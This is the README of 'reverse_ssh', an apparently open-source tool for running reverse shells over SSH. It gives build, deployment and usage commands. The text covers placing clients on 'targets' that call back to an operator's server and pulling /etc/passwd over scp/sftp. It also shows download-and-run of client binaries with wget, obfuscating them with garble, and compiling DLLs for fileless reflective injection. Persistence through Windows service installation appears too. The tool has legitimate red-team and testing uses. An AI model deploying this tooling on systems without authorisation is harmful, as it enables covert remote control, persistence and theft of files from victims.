README
¶
Reverse SSH
(Art credit to https://www.instagram.com/smart.hedgehog.art/)
Want to use SSH for reverse shells? Now you can.
- Manage and connect to reverse shells with native SSH syntax
- Dynamic, local and remote forwarding
- Native SCP and SFTP implementations for retrieving files from your targets
- Full windows shell
- Mutual client & server authentication to create high trust control channels
And more!
+----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
TL;DR
Setup
Docker:
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your_external_address>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v data:/data reversessh/reverse_ssh
Manual:
git clone https://github.com/NHAS/reverse_ssh
cd reverse_ssh
make
cd bin/
# start the server
cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232
Running
# copy client to your target then connect it to the server
./client your.rssh.server.com:3232
# Get help text
ssh your.rssh.server.com -p 3232 help
# See clients
ssh your.rssh.server.com -p 3232 ls -t
Targets
+------------------------------------------+------------+-------------+
| ID | Hostname | IP Address |
+------------------------------------------+------------+-------------+
| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |
+------------------------------------------+------------+-------------+
# Connect to full shell
ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac
# Or using hostname
ssh -J your.rssh.server.com:3232 root.wombo
Setup Instructions
NOTE: reverse_ssh requires Go 1.17 or higher. Please check you have at least this version via
go version
The simplest build command is just:
make
Make will build both the client and server binaries. It will also generate a private key for the client, and copy the corresponding public key to the authorized_controllee_keys file to enable the reverse shell to connect.
Golang allows your to effortlessly cross compile, the following is an example for building windows:
GOOS=windows GOARCH=amd64 make client # will create client.exe
You will need to create an authorized_keys file much like the ssh http://man.he.net/man5/authorized_keys, this contains your public key.
This will allow you to connect to the RSSH server.
Alternatively, you can use the --authorizedkeys flag to point to a file.
cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232 #Set the server to listen on port 3232
Put the client binary on whatever you want to control, then connect to the server.
./client your.rssh.server.com:3232
You can then see what reverse shells have connected to you using ls:
ssh your.rssh.server.com -p 3232 ls -t
Targets
+------------------------------------------+------------+-------------+
| ID | Hostname | IP Address |
+------------------------------------------+------------+-------------+
| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |
+------------------------------------------+------------+-------------+
Then typical ssh commands work, just specify your rssh server as a jump host.
# Connect to full shell
ssh -J your.rssh.server.com:3232 root.wombo
# Run a command without pty
ssh -J your.rssh.server.com:3232 root.wombo help
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.com:3232 root.wombo
# SCP
scp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .
#SFTP
sftp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .
Fancy Features
Default Server
Specify a default server at build time:
$ RSSH_HOMESERVER=your.rssh.server.com:3232 make
# Will connect to your.rssh.server.com:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client example.com:3232
Built in Web Server
The RSSH server can also run an HTTP server on the same port as the RSSH server listener which serves client binaries. The server must be placed in the project bin/ folder, as it needs to find the client source.
./server --webserver :3232
# Generate an unnamed link
ssh your.rssh.server.com -p 3232
catcher$ link -h
link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
-t Set number of minutes link exists for (default is one time use)
-s Set homeserver address, defaults to server --external_address if set, or server listen address if not.
-l List currently active download links
-r Remove download link
--goos Set the target build operating system (default to runtime GOOS)
--goarch Set the target build architecture (default to runtime GOARCH)
--name Set link name
--shared-object Generate shared object file
--fingerprint Set RSSH server fingerprint will default to server public key
--upx Use upx to compress the final binary (requires upx to be installed)
--garble Use garble to obfuscate the binary (requires garble to be installed)
# Build a client binary
catcher$ link --name test
http://your.rssh.server.com:3232/test
Then you can download it as follows:
wget http://your.rssh.server.com:3232/test
chmod +x test
./test
Windows DLL Generation
You can compile the client as a DLL to be loaded with something like Invoke-ReflectivePEInjection.
This will need a cross compiler if you are doing this on linux, use mingw-w64-gcc.
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
When the RSSH server has the webserver enabled you can also compile it with the link command:
./server --webserver :3232
# Generate an unnamed link
ssh your.rssh.server.com -p 3232
catcher$ link --name windows_dll --shared-object --goos windows
http://your.rssh.server.com:3232/windows_dll
Which is useful when you want to do fileless injection of the rssh client.
SSH Subsystem
The SSH ecosystem allowsy out define and call subsystems with the -s flag. In RSSH this is repurposed to provide special commands for platforms.
All
list Lists avaiable subsystem
sftp: Runs the sftp handler to transfer files
Linux
setgid: Attempt to change group
setuid: Attempt to change user
Windows
service: Installs or removes the rssh binary as a windows service, requires administrative rights
e.g
# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.com:3232 test-pc.user.test-pc -s service --install
Windows Service Integration
The client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.
Full Windows Shell Support
Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we're all very fond of. This project uses conpty on newer versions of windows, and the winpty library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.
Webhooks
The RSSH server can send out raw HTTP requests set using the webhook command from the terminal interface.
First enable a webhook:
$ ssh your.rssh.server.com -p 3232
catcher$ webhook --on http://localhost:8080/
Then disconnect, or connect a client, this will when issue a POST request with the following format.
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
Tuntap
RSSH and SSH support creating tuntap interfaces that allow you to route traffic and create pseudo-VPN.
It does take a bit more setup than just a local or remote forward (-L, -R), but in this mode you can send UDP and ICMP.
First set up a tun (layer 3) device on your local machine.
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 172.16.0.1/24 dev tun0
sudo ip link set dev tun0 up
# This will defaultly route all non-local network traffic through the tunnel
sudo ip route add 0.0.0.0/0 via 172.16.0.1 dev tun0
Install a client on a remote machine, this will not work if you have your RSSH client on the same host as your tun device.
ssh -J your.rssh.server.com:3232 user.wombo -w 0:any
This has some limitations, it is only able to send UDP/TCP/ICMP, and not arbitrary layer 3 protocols. ICMP is best effort and may use the remote hosts ping tool, as ICMP sockets are privileged on most machines.
This also does not support tap devices, e.g layer 2 VPN, as this would require administrative access.
Help
Garble
To enable the --garble flag in the link command you must install garble, a system for obfuscating golang binaries. However the @latest release has a bug that causes panics with generic code.
If you are installing this manually use the following:
go install mvdan.cc/garble@f9d9919
Then make sure that the go/bin/ directory is in your $PATH
Permission denied (publickey).
Unfortunately the golang crypto/ssh upstream library does not support rsa-sha2-* algorithms, and work is currently ongoing here:
https://github.com/golang/go/issues/49952
So until that work is completed, you will have to generate a different (non-rsa) key. I recommend the following:
ssh-keygen -t ed25519
Windows and SFTP
Due to the limitations of SFTP (or rather the library Im using for it). Paths need a little more effort on windows.
sftp -r -J your.rssh.server.com:3232 test-pc.user.test-pc:'/C:/Windows/system32'
Note the / before the starting character.
Foreground vs Background (Important note about clients)
By default, clients will run in the background. When started they will execute a new background instance (thus forking a new child process) and then the parent process will exit. If the fork is successful the message "Ending parent" will be printed.
This has one important ramification: once in the background a client will not show any output, including connection failure messages. If you need to debug your client, use the --foreground flag.
Directories